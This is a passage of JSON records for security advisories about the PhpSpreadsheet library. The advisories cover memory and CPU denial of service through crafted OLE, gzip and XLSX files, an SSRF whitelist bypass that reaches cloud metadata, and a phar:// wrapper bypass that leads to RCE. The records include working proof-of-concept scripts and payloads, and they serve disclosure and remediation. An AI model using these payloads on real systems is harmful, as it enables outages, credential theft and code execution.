PhpOffice\\PhpSpreadsheet\\Reader\\Xls();\nvar_dump($r-\u003ecanRead(\"/tmp/phpspreadsheet-ole-selfloop.xls\"));\n' 2\u003e\u00261 || true\nSH\n```\n\nObserved output:\n\n```text\nole_size=1024\nPHP Fatal error:  Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143\nPHP Stack trace:\nPHP   1. {main}() Command line code:0\nPHP   2. PhpOffice\\PhpSpreadsheet\\Reader\\XlsBase-\u003ecanRead($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') Command line code:4\nPHP   3. PhpOffice\\PhpSpreadsheet\\Shared\\OLERead-\u003eread($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') /app/src/PhpSpreadsheet/Reader/XlsBase.php:164\n```\n\n## Suggested remediation\n\n- Validate every OLE sector-chain walk with:\n  - a visited-sector set to reject cycles;\n  - maximum chain length based on file size and sector size;\n  - bounds checks before reading from `$this-\u003edata`, `$this-\u003ebigBlockChain`, or `$this-\u003esmallBlockChain`;\n  - rejection of negative sector IDs other than the documented end-of-chain marker.\n- Replace fatal memory exhaustion with a recoverable `Reader\\Exception` for malformed OLE chains.\n- Apply the same guarded chain-walk helper to:\n  - small-block depot chain construction;\n  - small-block stream extraction;\n  - big-block stream extraction;\n  - `readData()`.\n- Add regression tests with self-looping and out-of-range SAT/SSAT chains.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-23T15:01:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-xh5m-36r6-47m3","https://github.com/PHPOffice/PhpSpreadsheet/commit/85f2556b0bf5269061bf45932ecda8a128d81750","https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6","https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18","https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7","https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7","https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1","https://github.com/advisories/GHSA-xh5m-36r6-47m3"],"source_kind":"github","identifiers":["GHSA-xh5m-36r6-47m3","CVE-2026-59933"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-23T16:00:08.412Z","updated_at":"2026-10-26T21:02:00.654Z","epss_percentage":0.00461,"epss_percentile":0.39699,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14aDVtLTM2cjYtNDdtM84ABfmU","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14aDVtLTM2cjYtNDdtM84ABfmU","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"1.30.6","vulnerable_version_range":"\u003c= 1.30.5"},{"first_patched_version":"2.1.18","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.1.17"},{"first_patched_version":"2.4.7","vulnerable_version_range":"\u003e= 2.2.0, \u003c= 2.4.6"},{"first_patched_version":"3.10.7","vulnerable_version_range":"\u003e= 3.3.0, \u003c= 3.10.6"},{"first_patched_version":"5.8.1","vulnerable_version_range":"\u003e= 4.0.0, \u003c= 5.8.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14aDVtLTM2cjYtNDdtM84ABfmU/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0ybXJnLWdqeHEtMmd2cs4ABfmT","url":"https://github.com/advisories/GHSA-2mrg-gjxq-2gvr","title":"PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion","description":"## Summary\n\nPhpSpreadsheet's Gnumeric reader reads attacker-supplied `.gnumeric` files into memory and, when the file starts with gzip magic bytes, calls `gzdecode()` on the full compressed contents without enforcing a decompressed-size limit. A very small compressed `.gnumeric` file can expand to data larger than the PHP memory limit and crash the process during `Gnumeric::canRead()` before the file is rejected or fully parsed.\n\nThis is reachable through normal file-type detection and Gnumeric loading paths, so applications that accept attacker-controlled spreadsheet uploads can suffer denial of service.\n\n## Vulnerability details\n\n`Gnumeric::canRead()` invokes `gzfileGetContents()` before deciding whether the file is a valid Gnumeric spreadsheet:\n\n- `src/PhpSpreadsheet/Reader/Gnumeric.php:80-90` calls `$this-\u003egzfileGetContents($filename)` from `canRead()`.\n- `src/PhpSpreadsheet/Reader/Gnumeric.php:105-115` calls `canRead()` and then reads the expanded contents again for worksheet-name listing.\n- `src/PhpSpreadsheet/Reader/Gnumeric.php:253-265` calls `canRead()` and then reads the expanded contents again for full loading.\n\nThe vulnerable expansion is in `gzfileGetContents()`:\n\n- `src/PhpSpreadsheet/Reader/Gnumeric.php:187-190` reads the entire input file into `$contents` with `file_get_contents()`.\n- `src/PhpSpreadsheet/Reader/Gnumeric.php:192-197` detects gzip magic bytes and calls `gzdecode($contents)` without a decompressed-size cap.\n- `src/PhpSpreadsheet/Reader/Gnumeric.php:204-205` scans the expanded data only after decompression has already completed.\n\nBecause decompression occurs before XML scanning or structural validation, a tiny gzip payload can force large memory allocation even if the resulting XML is meaningless or invalid.\n\n## Impact\n\nA small `.gnumeric` upload can crash a PHP worker during spreadsheet type detection or import. This can cause denial of service in web applications, queue workers, preview services, document converters, or any service that runs PhpSpreadsheet against untrusted spreadsheet files.\n\nIn the local reproduction below, a 97,811-byte file expands to about 96 MiB and crashes `Gnumeric::canRead()` under `memory_limit=64M` at `Reader/Gnumeric.php:195`.\n\n## Safe local proof of concept\n\nThis proof of concept uses only Docker with `--network none`; it creates the compressed payload inside the container and does not contact external infrastructure.\n\n```bash\ndocker run --rm --network none -i \\\n  -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \\\n  -w /app ghcr.io/typo3/core-testing-php82:1.15 sh \u003c\u003c'SH'\nset -eu\nphp -r '\n$prefix = \"\u003c?xml version=\\\"1.0\\\"?\u003e\u003cgnm:Workbook xmlns:gnm=\\\"http://www.gnumeric.org/v10.dtd\\\"\u003e\";\n$suffix = \"\u003c/gnm:Workbook\u003e\";\n$payload = $prefix . str_repeat(\"A\", 96 * 1024 * 1024) . $suffix;\n$gz = gzencode($payload, 9);\nfile_put_contents(\"/tmp/bomb.gnumeric\", $gz);\nprintf(\"compressed_size=%d expanded_size=%d\\n\", filesize(\"/tmp/bomb.gnumeric\"), strlen($payload));\n'\nphp -d memory_limit=64M -d display_errors=1 -r '\nrequire \"/app/vendor/autoload.php\";\n$r = new PhpOffice\\PhpSpreadsheet\\Reader\\Gnumeric();\nvar_dump($r-\u003ecanRead(\"/tmp/bomb.gnumeric\"));\n' 2\u003e\u00261 || true\nSH\n```\n\nObserved output:\n\n```text\ncompressed_size=97811 expanded_size=100663390\nPHP Fatal error:  Allowed memory size of 67108864 bytes exhausted (tried to allocate 50291378 bytes) in /app/src/PhpSpreadsheet/Reader/Gnumeric.php on line 195\nPHP Stack trace:\nPHP   1. {main}() Command line code:0\nPHP   2. PhpOffice\\PhpSpreadsheet\\Reader\\Gnumeric-\u003ecanRead($filename = '/tmp/bomb.gnumeric') Command line code:4\nPHP   3. PhpOffice\\PhpSpreadsheet\\Reader\\Gnumeric-\u003egzfileGetContents($filename = '/tmp/bomb.gnumeric') /app/src/PhpSpreadsheet/Reader/Gnumeric.php:84\nPHP   4. gzdecode(...) /app/src/PhpSpreadsheet/Reader/Gnumeric.php:195\n```\n\n## Suggested remediation\n\n- Do not decompress gzip data with unbounded `gzdecode()` for untrusted `.gnumeric` files.\n- Stream decompression with a strict maximum output-size limit before allocating the full expanded XML.\n- Enforce a configurable maximum compressed size and maximum decompressed size for Gnumeric files.\n- Ensure `canRead()`, `listWorksheetNames()`, `listWorksheetInfo()`, and `load()` share bounded decompression logic and avoid decompressing the same file repeatedly.\n- Fail closed with a recoverable `Reader\\Exception` when limits are exceeded, rather than allowing a PHP fatal memory error.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-23T15:00:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-2mrg-gjxq-2gvr","https://github.com/PHPOffice/PhpSpreadsheet/commit/85f2556b0bf5269061bf45932ecda8a128d81750","https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6","https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18","https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7","https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7","https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1","https://github.com/advisories/GHSA-2mrg-gjxq-2gvr"],"source_kind":"github","identifiers":["GHSA-2mrg-gjxq-2gvr","CVE-2026-59932"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-23T16:00:08.412Z","updated_at":"2026-10-26T21:02:00.655Z","epss_percentage":0.00461,"epss_percentile":0.39699,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ybXJnLWdqeHEtMmd2cs4ABfmT","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0ybXJnLWdqeHEtMmd2cs4ABfmT","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"1.30.6","vulnerable_version_range":"\u003c= 1.30.5"},{"first_patched_version":"2.1.18","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.1.17"},{"first_patched_version":"2.4.7","vulnerable_version_range":"\u003e= 2.2.0, \u003c= 2.4.6"},{"first_patched_version":"3.10.7","vulnerable_version_range":"\u003e= 3.3.0, \u003c= 3.10.6"},{"first_patched_version":"5.8.1","vulnerable_version_range":"\u003e= 4.0.0, \u003c= 5.8.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ybXJnLWdqeHEtMmd2cs4ABfmT/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02aHE1LTczNzMtNDJyZ84ABfmS","url":"https://github.com/advisories/GHSA-6hq5-7373-42rg","title":"PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist","description":"### Summary\n\nThe domain whitelist introduced in PhpSpreadsheet 5.4.0 for the `WEBSERVICE()` formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but `file_get_contents()` follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.\n\n### Details\n\nIn `Calculation/Web/Service.php`, the `webService()` method validates the URL's host against a domain whitelist set via `Spreadsheet::setDomainWhiteList()`. If the host passes validation, the method calls `file_get_contents($url, false, $ctx)` to fetch the content.\n\nThe stream context does not disable redirect following:\n\n```php\n$ctxArray = [\n    'http' =\u003e [\n        'user_agent' =\u003e 'Mozilla/5.0 ...',\n        // follow_location defaults to true\n        // max_redirects defaults to 20\n    ],\n];\n```\n\nPHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is **not** re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.\n\n**Vulnerable code** (`Calculation/Web/Service.php`):\n\n```php\n// Whitelist check — runs ONCE on the initial URL\n$domainWhiteList = $cell?-\u003egetWorksheet()-\u003egetParent()?-\u003egetDomainWhiteList() ?? [];\n$host = $parsed['host'] ?? '';\nif (!in_array($host, $domainWhiteList, true)) {\n    return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;\n}\n\n// HTTP request — follows redirects to ANY destination\n$ctx = stream_context_create($ctxArray);\n$output = @file_get_contents($url, false, $ctx);\n```\n\nAdditionally, the whitelist check uses only the hostname from `parse_url()`, ignoring the port. This means whitelisting `example.com` permits access to all ports on that host.\n\n### PoC\n\n**Prerequisites:**\n- Application uses PhpSpreadsheet \u003e= 5.4.0\n- Application calls `$spreadsheet-\u003esetDomainWhiteList([...])` with at least one domain\n- Application calls `$cell-\u003egetCalculatedValue()` on uploaded XLSX files\n\n**Attack steps:**\n\n1. Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).\n\n2. Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:\n\n```xml\n\u003cc r=\"A1\"\u003e\n  \u003cf\u003e_xlfn.WEBSERVICE(\"http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/\")\u003c/f\u003e\n\u003c/c\u003e\n```\n\n3. Upload the XLSX to the target application. The calculation engine:\n   - Validates `whitelisted-domain.com` against the whitelist — **passes**\n   - Calls `file_get_contents(\"http://whitelisted-domain.com/redirect?url=...\")` \n   - `file_get_contents` follows the 302 redirect to `http://169.254.169.254/latest/meta-data/` — **no re-validation**\n   - Returns the cloud metadata response as the cell's calculated value\n\n**Lab reproduction:**\n\n```bash\n# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)\n# App whitelists \"trusted-api.example.com\"\n# Redirect server on trusted-api.example.com:7071 returns 302 → internal target\n\n# Test 1: Direct internal access — BLOCKED by whitelist\n=WEBSERVICE(\"http://127.0.0.1:9090/internal-api/secrets\")\n→ Result: null (blocked)\n\n# Test 2: Via redirect from whitelisted domain — BYPASS\n=WEBSERVICE(\"http://trusted-api.example.com:7071/redirect-to-internal\")\n→ Result: {\"ssrf\":\"CONFIRMED\",\"secret\":\"internal-api-key-LATEST\",\"server\":\"Linux ...\"}\n```\n\nConfirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).\n\n### Impact\n\nAn attacker who can upload XLSX files to an application that uses `setDomainWhiteList()` and `getCalculatedValue()` can:\n\n- **Bypass the domain whitelist** by routing requests through a whitelisted domain that redirects to internal targets\n- **Exfiltrate cloud metadata** (AWS/GCP/Azure instance credentials) via `http://169.254.169.254/`\n- **Access internal services** not exposed to the internet\n- **Port-scan internal networks** via any whitelisted hostname (port is not validated)\n\nThis is a full-read SSRF — the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell's calculated value.\n\n**Attack scenarios:**\n- Whitelisted domain has an open redirect vulnerability\n- Attacker controls the whitelisted domain (e.g., a free-tier API service)\n- DNS rebinding after the whitelist check\n\n### Suggested Fix\n\nDisable redirect following in the stream context:\n\n```php\n$ctxArray = [\n    'http' =\u003e [\n        'user_agent' =\u003e '...',\n        'follow_location' =\u003e false,\n        'max_redirects' =\u003e 0,\n    ],\n];\n```\n\nAlternatively, if redirects must be supported, implement manual redirect following that re-validates each hop's hostname against the domain whitelist.\n\nAdditionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts.\n\n### Related\n\nThis vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions \u003c 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF.\n\nExisting SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine.\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-23T14:55:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hq5-7373-42rg","https://github.com/PHPOffice/PhpSpreadsheet/commit/7ef7b25e8548a6ded79dac74e2e2c7acdac38d8d","https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6","https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18","https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7","https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7","https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1","https://github.com/advisories/GHSA-6hq5-7373-42rg"],"source_kind":"github","identifiers":["GHSA-6hq5-7373-42rg","CVE-2026-59931"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-23T15:00:08.730Z","updated_at":"2026-10-26T21:02:00.655Z","epss_percentage":0.00474,"epss_percentile":0.40668,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02aHE1LTczNzMtNDJyZ84ABfmS","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02aHE1LTczNzMtNDJyZ84ABfmS","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"1.30.6","vulnerable_version_range":"\u003c= 1.30.5"},{"first_patched_version":"2.1.18","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.1.17"},{"first_patched_version":"2.4.7","vulnerable_version_range":"\u003e= 2.2.0, \u003c= 2.4.6"},{"first_patched_version":"3.10.7","vulnerable_version_range":"\u003e= 3.3.0, \u003c= 3.10.6"},{"first_patched_version":"5.8.1","vulnerable_version_range":"\u003e= 4.0.0, \u003c= 5.8.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02aHE1LTczNzMtNDJyZ84ABfmS/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04N200LTgyNngtM2NyeM4ABYSt","url":"https://github.com/advisories/GHSA-87m4-826x-3crx","title":"PHPSpreadsheet has a patch bypass for CVE-2026-34084 ","description":"## Summary\n\nCVE-2026-34084 was patched by the helper `File::prohibitWrappers`. The helper calls `parse_url($filename, PHP_URL_SCHEME)` and then checks `is_string($scheme) \u0026\u0026 strlen($scheme) \u003e 1` to reject stream wrappers such as `phar://`, `php://`, `data://` or `expect://`. The check is not equivalent to \"does the path contain a wrapper\". When the input has the form `phar:///path/file.phar/inner` with three or more slashes after the scheme, `parse_url` returns boolean `false` instead of returning the scheme string. The `is_string($scheme)` branch is therefore skipped, the helper returns without throwing, and the caller proceeds. PHP's stream layer, however, still treats `phar:///...` as a valid phar wrapper and opens the underlying phar file. The result is that `IOFactory::load($attackerPath)` walks past the patch and still touches the phar wrapper. On PHP 7.x, simply reaching the phar wrapper via `is_file` is enough for PHP to automatically deserialize the phar metadata, which in turn invokes the magic methods `__wakeup` and `__destruct` of an attacker controlled object and gives full RCE. On PHP 8.x, automatic metadata deserialization for plain file ops was removed, so the chain at the PhpSpreadsheet layer reduces to a phar wrapper file read primitive, and RCE only resurfaces if the downstream consumer ever calls `Phar::getMetadata`.\n\n## Vulnerable code\n\nThe file `vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/File.php` is byte identical across all six latest tags listed below:\n\n```php\npublic static function prohibitWrappers(string $filename): void\n{\n    $scheme = parse_url($filename, PHP_URL_SCHEME);\n    if (is_string($scheme) \u0026\u0026 strlen($scheme) \u003e 1) {\n        throw new Exception(\"Stream wrappers are not permitted as file paths: {$filename}\");\n    }\n}\n```\n\nFor input `phar://x/dummy.csv` the call returns the string `\"phar\"` and the throw fires correctly. For input `phar:///work/exploit.phar/dummy.csv` the same call returns `false` and the throw is skipped, which is the bypass.\n\n## Confirmed affected versions\n\nTested on 2026-05-03. The `prohibitWrappers` source on disk is identical across all six tags.\n\n| Branch | Latest tag | PHP under test | Result |\n|---|---|---|---|\n| 1.x | 1.30.4 | 7.4 | bypass plus full RCE, gadget wrote marker file |\n| 2.1.x | 2.1.16 | 8.3 | bypass |\n| 2.4.x | 2.4.5 | 8.3 | bypass |\n| 3.10.x | 3.10.5 | 8.3 | bypass |\n| 5.6.x | 5.6.0 | 8.3 | bypass |\n| 5.7.x | 5.7.0 | 8.3 | bypass |\n\nVersion 1.30.4 is the latest tag of the 1.x branch, which is the only branch that still supports PHP 7.x. Version 5.7.0 is the latest tag overall on Packagist at the time of testing.\n\nNo branch beyond 1.30.x allows any release before Php 8. For branches beyond 1.30.x, although the code identified above is in error, and will be corrected, it does not lead to any security exposure. That would require a `Phar::getMetadata` call, which is not present in PhpSpreadsheet. If possible and reasonable, the release notes for the fix on the other branches will include `release-note: security`.\n\n## Reproduction\n\nRequires Docker only, no local PHP install. Run:\n\n```sh\nbash run.sh\n```\n\nThe script does the following in order: build `exploit.phar` using `php:7.4-cli` with `phar.readonly=0`, install `phpoffice/phpspreadsheet:5.7.0` through composer and run `exploit.php` on `php:8.3-cli` to show that the bypass still works against the latest tag, then install `1.30.4` and run again on `php:7.4-cli` to show the full RCE chain. All output is teed to `evidence.txt`.\n\n`exploit.php` ships two controls. The negative control uses `phar://x/dummy.csv` to confirm that the patch still rejects the standard wrapper form. The positive control uses `phar:///work/exploit.phar/dummy.csv` to show that the three slash variant slips through. On PHP 7.4 the gadget writes the file `pwned_marker` containing the lines `WAKEUP: phpspreadsheet-bypass` and `DESTRUCT: phpspreadsheet-bypass`, which is the proof that attacker controlled code ran inside the victim process.\n\n## Suggested fix\n\nDo not rely on `parse_url` to detect wrappers, because its behavior depends on the slash count and on the PHP version. Either of these is safe:\n\n```php\npublic static function prohibitWrappers(string $filename): void\n{\n    if (str_contains($filename, '://')) {\n        throw new Exception(\"Stream wrappers are not permitted as file paths: {$filename}\");\n    }\n}\n```\n\nAlternatively, run the path through `realpath()` first, since `realpath` returns `false` for any wrapper prefixed path.\n\n## Files in this report\n- [build-phar.php](https://github.com/user-attachments/files/27317345/build-phar.php): builds `exploit.phar` with a gadget object in its metadata.\n- [exploit.php](https://github.com/user-attachments/files/27317343/exploit.php): main PoC, with the negative and positive controls.\n- [exploit.phar](https://github.com/user-attachments/files/27317356/exploit.phar.txt): prebuilt phar, the gadget writes a marker when deserialized.\n- [composer.json](https://github.com/user-attachments/files/27317341/composer.json): spec used by composer to install the version under test.\n- [run.sh](https://github.com/user-attachments/files/27317342/run.sh): end to end reproducer through Docker.\n- [evidence.txt](https://github.com/user-attachments/files/27317339/evidence.txt): log captured from the most recent `run.sh` invocation.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-06-08T23:00:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-87m4-826x-3crx","https://github.com/advisories/GHSA-q4q6-r8wh-5cgh","https://github.com/advisories/GHSA-87m4-826x-3crx"],"source_kind":"github","identifiers":["GHSA-87m4-826x-3crx","CVE-2026-45034"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-09T00:00:09.228Z","updated_at":"2026-10-26T21:03:07.405Z","epss_percentage":0.00462,"epss_percentile":0.39798,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04N200LTgyNngtM2NyeM4ABYSt","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04N200LTgyNngtM2NyeM4ABYSt","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"1.30.5","vulnerable_version_range":"\u003c= 1.30.4"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04N200LTgyNngtM2NyeM4ABYSt/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03YzZtLTQ0NDItMng2bc4ABV7P","url":"https://github.com/advisories/GHSA-7c6m-4442-2x6m","title":"PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions","description":"## Summary\n\nThe XLSX reader's `ColumnAndRowAttributes::readRowAttributes()` method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a minimal XLSX file (~1.6KB) containing a `\u003crow r=\"999999999\"/\u003e` element that inflates `cachedHighestRow` to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.\n\n## Details\n\nIn `src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php` at line 216, the row index is cast directly from XML without bounds checking:\n\n```php\n// ColumnAndRowAttributes.php:216\n$rowIndex = (int) $row['r'];  // No validation against AddressRange::MAX_ROW\n```\n\nThis value flows through `setRowAttributes()` (line 126) → `$this-\u003eworksheet-\u003egetRowDimension($rowNumber)` (line 60), which updates the cached highest row in `Worksheet.php:1348`:\n\n```php\n// Worksheet.php:1342-1349\npublic function getRowDimension(int $row): RowDimension\n{\n    if (!isset($this-\u003erowDimensions[$row])) {\n        $this-\u003erowDimensions[$row] = new RowDimension($row);\n        $this-\u003ecachedHighestRow = max($this-\u003ecachedHighestRow, $row);\n    }\n    return $this-\u003erowDimensions[$row];\n}\n```\n\nThe inflated `cachedHighestRow` is then returned by `getHighestRow()` (line 1099) and used as the default end bound in `RowIterator::resetEnd()` (RowIterator.php:86):\n\n```php\n// RowIterator.php:86\n$this-\u003eendRow = $endRow ?: $this-\u003esubject-\u003egetHighestRow();\n```\n\nNotably, column attributes already have equivalent validation at line 161 (`AddressRange::MAX_COLUMN_INT`), and cell coordinates are validated in `Coordinate::coordinateFromString()` (line 40) against `MAX_ROW`. The row dimension attribute path bypasses both of these checks.\n\n## PoC\n\n**Step 1: Create the malicious XLSX file (~1.6KB)**\n\n```python\nimport zipfile\nimport io\n\ncontent_types = '\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cTypes xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\"\u003e\u003cDefault Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/\u003e\u003cDefault Extension=\"xml\" ContentType=\"application/xml\"/\u003e\u003cOverride PartName=\"/xl/workbook.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml\"/\u003e\u003cOverride PartName=\"/xl/worksheets/sheet1.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml\"/\u003e\u003c/Types\u003e'\n\nrels = '\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cRelationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"\u003e\u003cRelationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\" Target=\"xl/workbook.xml\"/\u003e\u003c/Relationships\u003e'\n\nworkbook = '\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cworkbook xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\"\u003e\u003csheets\u003e\u003csheet name=\"Sheet1\" sheetId=\"1\" r:id=\"rId1\"/\u003e\u003c/sheets\u003e\u003c/workbook\u003e'\n\nwb_rels = '\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cRelationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"\u003e\u003cRelationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet\" Target=\"worksheets/sheet1.xml\"/\u003e\u003c/Relationships\u003e'\n\nsheet = '\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cworksheet xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\"\u003e\u003csheetData\u003e\u003crow r=\"1\"\u003e\u003cc r=\"A1\"\u003e\u003cv\u003e1\u003c/v\u003e\u003c/c\u003e\u003c/row\u003e\u003crow r=\"999999999\" ht=\"15\"/\u003e\u003c/sheetData\u003e\u003c/worksheet\u003e'\n\nwith zipfile.ZipFile('dos_row.xlsx', 'w', zipfile.ZIP_DEFLATED) as zf:\n    zf.writestr('[Content_Types].xml', content_types)\n    zf.writestr('_rels/.rels', rels)\n    zf.writestr('xl/workbook.xml', workbook)\n    zf.writestr('xl/_rels/workbook.xml.rels', wb_rels)\n    zf.writestr('xl/worksheets/sheet1.xml', sheet)\n\nprint(\"Created dos_row.xlsx\")\n```\n\n**Step 2: Load with PhpSpreadsheet (CPU exhaustion)**\n\n```php\n\u003c?php\nrequire 'vendor/autoload.php';\n\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\n\n$reader = IOFactory::createReader('Xlsx');\n$spreadsheet = $reader-\u003eload('dos_row.xlsx');\n$sheet = $spreadsheet-\u003egetActiveSheet();\n\necho \"Highest row: \" . $sheet-\u003egetHighestRow() . \"\\n\";\n// Output: Highest row: 999999999\n\n// This will consume CPU for ~144 seconds (999M iterations)\nforeach ($sheet-\u003egetRowIterator() as $row) {\n    // CPU exhaustion\n}\n```\n\n**Expected output:** `getHighestRow()` returns 999999999. Any row iteration hangs indefinitely.\n\n## Impact\n\n- **CPU Denial of Service:** A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using `getRowIterator()` or uses `getHighestRow()` as a loop bound. Estimated CPU burn is ~144 seconds per file.\n- **Memory Exhaustion:** Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.\n- **Amplification:** The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations.\n- **Common Attack Surface:** PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.\n\n## Recommended Fix\n\nAdd row bounds validation in `readRowAttributes()` at line 216, matching the column validation pattern already present at line 161:\n\n```php\n// 